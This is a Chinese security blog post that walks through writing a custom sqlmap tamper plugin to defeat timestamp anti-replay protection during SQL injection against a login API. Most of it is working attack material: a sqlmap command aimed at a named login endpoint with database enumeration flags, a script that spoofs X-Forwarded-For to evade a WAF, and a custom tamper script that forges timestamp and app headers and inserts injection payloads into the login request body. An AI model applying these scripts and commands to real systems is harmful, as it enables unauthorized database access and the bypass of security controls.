Sqlmap Tamper插件绕过时间戳限制 进行Sql注入攻击

  • A+
所属分类:网络安全文章
阿里代金券


推广者专属福利,新客户无门槛领取总价值高达2775元代金券,每种代金券限量500张,先到先得。

Sqlmap Tamper插件绕过时间戳限制 进行Sql注入攻击

1、前置知识:

大家在渗透测试的时候经常会遇到时间戳(timestamp),时间戳用于防范burpsuite的抓包重放攻击,难倒了不少工具黑客,但是遇到代码级的黑客会如何解决这个问题呢?

一言不合上代码,先给出生成时间戳的python代码:

  1. #!/user/bin/env python
  2. #coding=utf8
  3. #auther:pt007@vip.sina.com
  4. import time
  5. t = time.time()
  6. timestamp=int(round(t * 1000))
  7. timestamp=str(timestamp)
  8. print timestamp

通过google后,我们知道Sqlmap Tamper插件目录下(D:\sqlmap2016\tamper)有个xforwardedfor.py插件,下面我们贴出代码:

  1. #!/usr/bin/env python
  2. """
  3. Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
  4. See the file 'doc/COPYING' for copying permission
  5. """
  6. from lib.core.enums import PRIORITY
  7. from random import sample
  8. __priority__ = PRIORITY.NORMAL
  9. def dependencies():
  10.     pass
  11. def randomIP():
  12.     numbers = []
  13.     while not numbers or numbers[0] in (10172192):
  14.         numbers = sample(xrange(1255), 4)
  15.     return '.'.join(str(_) for _ in numbers)
  16. def tamper(payload, **kwargs):
  17.     """
  18.     Append a fake HTTP header 'X-Forwarded-For' to bypass
  19.     WAF (usually application based) protection
  20.     """
  21.     headers = kwargs.get("headers", {}) #以字典方式取出header包头数据
  22.     headers["X-Forwarded-For"] = randomIP() #将headers包头数据中的X-Forwarded-For地址随机设置
  23.     return payload

2、自定义Sqlmap Tamper插件绕过时间戳限制:

文件名:replacehead.py 放到:D:\sqlmap2016\tamper

  1. python sqlmap.py -u "https://www.cesafe.com/openapi/v2/user/login" --data "{\"loginId\":\"13121838135\",\"password\":\"12345\"}" --tamper "replacehead" --dbms="mysql" -v 5 --dbs --proxy=http://127.0.0.1:8080

Sqlmap Tamper插件绕过时间戳限制 进行Sql注入攻击

文件名:replacehead.py

  1. #!/usr/bin/env python
  2. """
  3. Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
  4. See the file "doc/COPYING" for copying permission
  5. """
  6. import hashlib
  7. import json
  8. import ssl
  9. import sys
  10. import time,urllib,string
  11. from lib.core.enums import PRIORITY
  12. __priority__ = PRIORITY.NORMAL
  13. def dependencies():
  14.     pass
  15. def tamper(payload, **kwargs):
  16.     """
  17.     Append a HTTP header "X-originating-IP" to bypass
  18.     WAF Protection of Varnish Firewall
  19.     Notes:
  20.         Reference: http://www.cesafe.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
  21.         Examples:
  22.         >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
  23.         >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
  24.         >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
  25.         >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
  26.         >> X-remote-IP: * or %00 or %0A
  27.     """
  28.     reqBind = "/openapi/v2/user/login"
  29.     headers = kwargs.get("headers", {})
  30.     #data= kwargs.get("body",{})
  31.     headers["Connection"]="keep-alive"
  32.     headers["appId"]="MB-MJ-0000"
  33.     headers["appVersion"]="01.00.00.00000"
  34.     headers["clientId"]="8F5BD72F-EAC5-4A5F-9093-77328C81E1AE"
  35.     headers["sequenceId"]="20161020153428000015"
  36.     headers["accessToken"]=""
  37.     headers["language"]="zh-cn"
  38.     headers["timezone"]="+8"
  39.     headers["appKey"]="1fff7639ddc580d9cdfb16bde1d67249"
  40.     #data="{\"loginId\":\"13121838134\",\"password\":\"12345\"}"
  41.     data="{\"loginId\":\""+payload+"\",\"password\":\"12345\"}"
  42.     #data=(str)(data)
  43.     print data
  44.     t = time.time()
  45.     timestamp=int(round(t * 1000))
  46.     timestamp=str(timestamp)
  47.     #timestamp="1521193501374"
  48.     headers["timestamp"]=str(timestamp)
  49.     print headers
  50.     return payload
CE安全网

发表评论

您必须登录才能发表评论!